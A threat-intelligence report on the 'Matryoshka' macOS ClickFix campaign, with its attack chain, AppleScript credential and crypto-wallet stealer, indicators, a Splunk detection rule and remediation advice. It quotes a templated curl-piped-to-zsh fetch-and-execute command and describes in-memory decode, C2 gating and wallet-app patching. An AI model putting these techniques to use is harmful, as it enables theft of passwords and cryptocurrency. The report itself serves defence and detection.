Threat reportPhishingTL-2026-0120
Matryoshka ClickFix macOS Variant — Nested Heredoc Obfuscation, AppleScript Credential Stealer, Trezor Suite Replacement, Ledger Live Surgical Patching, API-Gated C2
Matryoshka is a macOS-specific ClickFix social engineering variant that uses nested obfuscation (like Russian nesting dolls) to deliver a credential-stealing and crypto wallet-hijacking payload. The attack chain: typosquatted domain (comparisions[.]org) → Traffic Distribution System redirect → fake 'paste this fix' prompt → victim pastes Terminal command → heredoc-encoded shell script → in-memory Base64+gunzip decode → API-gated C2 → AppleScript stealer targeting browser credentials, Trezor Suite, and Ledger Live.
Key facts
| Identifiers | TL-2026-0120 |
|---|---|
| Severity | HIGH |
| Attribution | Lazarus Group (low confidence) |
| Nation-state nexus | North Korea |
| MITRE ATT&CK techniques | T1005 Data from Local System, T1027 Obfuscated Files or Information, T1036.005 Match Legitimate Resource Name or Location, T1041 Exfiltration Over C2 Channel, T1056.002 GUI Input Capture, T1059.002 AppleScript, T1059.004 Unix Shell, T1070.004 File Deletion, T1071.001 Web Protocols, T1082 System Information Discovery, T1115 Clipboard Data, T1140 Deobfuscate/Decode Files or Information and 12 more in the attack flow |
| Motivation | financial |
| Target sectors | cryptocurrency, financial-services, technology |
| Target regions | Global |
| Detection rules | 12 (1 shown free) |
| Sources | 5 cited sources |
Detection coverage
As of 2026-02-16, Threadlinqs Intelligence publishes 12 detection rule(s) for TL-2026-0120 across Splunk SPL, Microsoft KQL and Sigma, covering 24 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.
Free detection: macOS Terminal Fetch-and-Execute Pattern — ClickFix curl|zsh/bash Self-Infection
Detects the core Matryoshka ClickFix infection trigger: curl piped to zsh or bash from Terminal. The attack requires the victim to paste a command like 'curl -fsSL hxxp://[domain]/curl/[token] | zsh' into Terminal. This fetch-and-execute pattern is the universal indicator of ClickFix-style macOS attacks. Legitimate software installation via curl|bash exists (Homebrew, etc.) but is distinguishable by domain reputation and context.
- Language: Splunk SPL
- ATT&CK: T1204.001, T1059.004, T1071.001
- Data sources: osquery, crowdstrike_falcon, endpoint_detection
- Severity: high
- Confidence: high
Splunk SPL
index=endpoint sourcetype="osquery:results" OR sourcetype="crowdstrike:events" name="process_events" | where match(cmdline, "(?i)curl.*\|\s*(zsh|bash|sh)") OR match(cmdline, "(?i)curl.*-[a-zA-Z]*s[a-zA-Z]*L.*\|.*sh") | eval risk=case(match(cmdline, "(?i)(barbermoo|comparisions|macfilesendstream)"), "CRITICAL — Known Matryoshka C2 domain in curl|zsh command", match(parent, "(?i)(Terminal|iTerm|Warp)"), "HIGH — Terminal-initiated curl|zsh (ClickFix self-infection pattern)", 1=1, "MEDIUM — curl piped to shell interpreter") | where risk!="MEDIUM" OR match(parent, "(?i)Terminal") | table _time host username parent path cmdline risk | sort -riskKnown false positives:
- Homebrew installation (curl from brew.sh)
- Legitimate developer tool installation scripts
- IT-approved automated provisioning scripts
Tuning notes: Whitelist known-legitimate curl|bash patterns: Homebrew (brew.sh), Rust (sh.rustup.rs), nvm, pyenv. The key discriminator is the DOMAIN being curled — known legitimate vs unknown/suspicious. For Matryoshka specifically, look for barbermoo[.]xyz, macfilesendstream[.]com, and comparisions[.]org. Also flag any curl|zsh where the parent process is Terminal.app and the user recently visited a typosquatted domain (correlate with proxy/DNS logs).
- macOS Terminal Fetch-and-Execute via Defender for Endpoint — ClickFix Self-Infection · unlock with TL Creds
- Fake macOS System Dialog Credential Phishing — AppleScript GUI Input Capture · unlock with TL Creds
- Matryoshka Staging and Exfiltration — [indicator] Detection + C2 Communication · unlock with TL Creds
- macOS Terminal curl Piped to Shell — ClickFix Fetch-and-Execute Pattern · unlock with TL Creds
- AppleScript Credential Phishing Dialog — Fake System Preferences Password Capture · unlock with TL Creds
- Crypto Wallet Application Tampering on macOS — Ledger Live/Trezor Suite Integrity · unlock with TL Creds
- Threadlinqs Team Simulation Sigma — linux (Matryoshka Obfuscation Deep Dive — Heredoc In-Memory Decode ...) · unlock with TL Creds
- Threadlinqs Team Simulation Sigma — python (Matryoshka Prevention Framework — Crypto Wallet Integrity Ve...) · unlock with TL Creds
- Threadlinqs Team Simulation Sigma — windows (Matryoshka macOS ClickFix Kill Chain — Typosquatting Entry, ...) · unlock with TL Creds
- osascript Execution from Shell Context — AppleScript Payload Delivery Detection · unlock with TL Creds
- Crypto Wallet Application Tampering — Trezor Suite/Ledger Live Modification Detection · unlock with TL Creds
Indicators of compromise
As of 2026-02-16, Threadlinqs Intelligence tracks 24 indicators of compromise for TL-2026-0120.
Sample indicators (3 of 24)
- Domain:
barbermoo[.]xyz - File hash:
62ca9538889b767b1c3b93e76a32fb4469a2486cb3ccb5fb5fa8beb2dd0c2b90 - Domain:
comparisions[.]org
Defanged, TLP:CLEAR. Full set of 24 indicators: unlock with TL Creds.
Technical analysis
The stealer uses fake macOS 'System Preferences' dialogs for password phishing and surgically patches Ledger Live's Electron archive (app.asar) + re-signs the bundle. Discovered by Intego Antivirus Labs, February 2026.
Matryoshka is a sophisticated evolution of the ClickFix social engineering paradigm specifically targeting macOS users. Named after Russian nesting dolls (матрёшка) due to its nested obfuscation layers, this variant represents the first documented ClickFix campaign designed specifically for the macOS Terminal and AppleScript ecosystem.
**INFECTION VECTOR — TYPOSQUATTING + TDS:** The attack begins when users mistype a legitimate URL. Intego observed comparisions[.]org (note extra 'i') mimicking comparisons.org (software review site). The typosquatted domain immediately redirects through a Traffic Distribution System (TDS) to a page presenting fake installation/fix instructions. Users are told to copy a command and paste it into their macOS Terminal.
Why this works: By pasting into Terminal, the user authorizes execution. This sidesteps macOS Gatekeeper, notarization checks, and download-and-launch security expectations that protect against traditional malware delivery.
**STAGE 0 — CLIPBOARD INJECTION:** The pasted command retrieves a shell script from barbermoo[.]xyz containing a large encoded payload. The command appears benign: 'Installing packages please wait...' followed by a curl command piped to zsh.
**STAGE 1 — MATRYOSHKA WRAPPER (In-Memory Decode):** The fetched script (rogue.sh) uses a heredoc structure to pass the payload through an in-memory pipeline: Base64 decode → gunzip → eval. The meaningful payload is nested inside an encoded/compressed blob and only becomes readable at runtime. No clean script file is written to disk — reducing visibility for file-based scanning and complicating static analysis. This is the core innovation giving the variant its name.
**STAGE 2 — API-GATED LOADER:** The expanded loader implements sophisticated evasion: 1. Background detachment: Main routine runs in background, exits quickly. Terminal prompt returns immediately — victim believes the process finished. 2. Output suppression: stdin/stdout/stderr redirected to /dev/null — no visible artifacts in Terminal. 3. API-gated communication: Requests require a specific custom header (api-key: 5190ef17...) to receive meaningful C2 responses. Without the header, infrastructure returns generic errors or appears inactive — frustrates automated sandboxes. 4. Conditional forwarding: Script checks for arguments and can pass harvested data between stages.
**PAYLOAD — APPLESCRIPT STEALER:** The C2 delivers an AppleScript payload (detected as trojan:AppleScript/Stealer.gen) with three capabilities:
A) PASSWORD CAPTURE VIA PHISHING LOOP: First attempts programmatic credential theft. If unsuccessful, falls back to an interactive phishing loop: fake macOS 'System Preferences' dialog branded as 'Required Application Helper' repeatedly prompts for password with hidden input. The dialog loops until the victim complies — there is no 'cancel' escape that stops the malware.
B) CRYPTO WALLET TARGETING: - Trezor Suite: Delete and replace — terminates process, removes legitimate app, downloads malicious replacement. - Ledger Live: Surgical patching — replaces the Electron app.asar archive and metadata within the legitimate application bundle, then performs local ad-hoc re-signing (codesign -f -s -) to reduce integrity warnings. This is more subtle than full replacement — the app appears legitimate but the core logic is replaced.
C) EXFILTRATION + DECEPTION: Collected data (browser credentials, wallet artifacts) staged to /tmp/osalogging.zip. Loader uploads via POST to C2 /gate endpoint. After exfiltration, displays fake error: 'Your Mac does not support this application' to misdirect victim and delay investigation.
**EVASION ANALYSIS:** - In-memory only: Payload decoded and decompressed in memory, no disk artifacts for the obfuscated stages. - API-gated C2: Custom header requirement defeats automated sandbox analysis. - Quick Terminal return: Background detachment makes victim believe process completed normally. - Output suppression: No Terminal output visible to user. - Wallet re-signing: Ad-hoc codesign of tampered Ledger Live reduces macOS integrity warnings. - Final deception: Fake error message provides cover story for the Terminal activity.
MITRE ATT&CK techniques by tactic:
collection
T1005 Data from Local System; T1056.002 GUI Input Capture; T1115 Clipboard Data; T1560.001 Archive via Utility
defense-evasion
T1027 Obfuscated Files or Information; T1036.005 Match Legitimate Resource Name or Location; T1070.004 File Deletion; T1140 Deobfuscate/Decode Files or Information; T1480 Execution Guardrails; T1564.003 Hidden Window
exfiltration
T1041 Exfiltration Over C2 Channel
execution
T1059.002 AppleScript; T1059.004 Unix Shell; T1204.001 Malicious Link
command-and-control
discovery
T1082 System Information Discovery
defense-impairment
T1553.002 Code Signing; T1685 Disable or Modify Tools
credential-access
T1555 Credentials from Password Stores; T1555.003 Credentials from Web Browsers
impact
T1565.001 Stored Data Manipulation
initial-access
resource-development
Remediation
Patches
- N/A — no software vulnerability; social engineering + crypto wallet theft
Immediate actions
- NEVER paste commands from websites into macOS Terminal — no legitimate software update requires this
- CHECK CRYPTO WALLETS: If you recently pasted any Terminal command from a website, immediately verify Trezor Suite and Ledger Live integrity (reinstall from official sources)
- BLOCK typosquatting domains: comparisions[.]org, barbermoo[.]xyz, macfilesendstream[.]com
- CHECK for staging files: look for /tmp/osalogging.zip on any potentially compromised Mac
- ROTATE CREDENTIALS: If compromised, rotate all browser-saved passwords and crypto wallet recovery phrases immediately
Workarounds
- Use DNS-over-HTTPS with typosquatting protection
- Enable macOS Lockdown Mode for high-risk users (restricts some Terminal functionality)
- Store cryptocurrency recovery phrases OFFLINE — never accessible from any computer
Longer-term hardening
- USER AWARENESS: Train all macOS users that legitimate software NEVER requires pasting commands into Terminal
- DNS FILTERING: Deploy DNS-based typosquatting detection for corporate domains and commonly visited sites
- ENDPOINT DETECTION: Deploy macOS EDR that monitors Terminal-initiated fetch-and-execute patterns and osascript execution
- WALLET INTEGRITY: Use hardware wallet companion app integrity verification (check code signatures, compare hashes against official releases)
- APPLICATION ALLOWLISTING: Use macOS MDM to restrict application installation and modification to authorized sources
Timeline
- ClickFix social engineering technique emerges, primarily targeting Windows users with fake CAPTCHAs and copy-paste PowerShell commands. macOS variants are rare at this stage.
- Intego documents fake Arc Browser campaign using AppleScript stealer component. Establishes AppleScript as a viable macOS malware delivery mechanism for credential theft. Source: Intego Mac Security Blog.
- ClickFix campaigns add instruction videos specifically targeting macOS users, showing Terminal paste technique. macOS becomes a documented ClickFix target platform.
- Matryoshka ClickFix campaign observed active in the wild. Typosquatted domain locked-ioc-6 redirecting macOS users through TDS to fake fix prompts.
- Intego Antivirus Labs publishes detailed technical analysis of Matryoshka variant: nested obfuscation (heredoc + Base64 + gunzip + eval), API-gated C2, AppleScript credential stealer, Trezor Suite deletion/replacement, Ledger Live surgical patching. Source: https://www.intego.com/mac-security-blog/matryoshka-clickfix-macos-stealer/
- Cyber Security News publishes coverage of Matryoshka campaign, reaching broader security community. Confirms Intego findings and highlights crypto wallet targeting. Source: https://cybersecuritynews.com/new-clickfix-variant-matryoshka-attacking-users/
- As of 2026-05-29, TL-2026-0120 (Matryoshka macOS ClickFix) stays ACTIVE: no CVE/patch exists for this social-engineering crypto-stealer, no infra takedown is reported, and the macOS ClickFix wave is escalating. Apple's macOS Tahoe 26.4 Terminal paste warning was already bypassed via the applescript:// Script Editor trick (Jamf, Apr 2026), with May 2026 successors (SHub, MacSync).
Sources cited
- MITRE ATT&CK T1059.002 — AppleScript Execution MITRE · Advisory · 2026-01-01
- MITRE ATT&CK T1204.001 — User Execution: Malicious Link MITRE · Advisory · 2026-01-01
- Intego — Unpacking the New 'Matryoshka' ClickFix Variant intego.com · Blog · 2026-02-12
- Intego — Fake Arc Browser with AppleScript Component (precedent) intego.com · Blog · 2025-06-01
- Cyber Security News — New ClickFix Variant 'Matryoshka' Attacking Users cybersecuritynews.com · News · 2026-02-16
More from Lazarus Group
- FaceStealer: DPRK (APT38-attributed) deepfake meeting social-engineering campaign disrupted by FBI/DOJ; $1.2B of stolen Binance crypto seized (TraderTraitor)
- North Korean Lazarus (Operation DreamJob) and DeceptiveDevelopment Target Drone Technology and Software Supply Chains
- North Korea-aligned Lazarus Targets Drone Sector (ScoringMathTea via BinMergeLoader) and DeceptiveDevelopment Targets Software Repositories (ESET APT Activity Report Q2-Q3 2026)
- The Mac Malware of 2023: macOS Ransomware, Stealers, and DPRK/Iran-Linked APT Malware (Objective-See Annual Review)
- North Korean Threat Actors Operationalize AI Across Tradecraft (Jade/Coral/Jasper/Diamond/Onyx/Pearl/Sapphire/Emerald Sleet; ProcmacSteal)
- NSFOCUS Monthly APT Insights August 2026: Lazarus MISTPEN/ForestTiger/RelayShell Campaign with CVE-2026-68820, UAC-0099 LUNCHPOKE/BURNYBEAR/MATCHBOIL.V2, CVE-2026-42897 Exchange OWA Exploitation
Previous and next in phishing
- ClickFix Evolution — nslookup DNS Smuggling + CrashFix Browser DoS + ModeloRAT Python RAT, KongTuke Actor, Enterprise Domain-Joined Targeting Previous report
- Japanese-Language Phishing Campaign — Coordinated Brand Impersonation (ANA, DHL, myTOKYOGAS) via .cn Domains, Foxmail X-Mailer Fingerprint, Chinese Infrastructure Next report
Further reading
Drafted by the Threadlinqs research pipeline from 5 sources; published ; last updated —.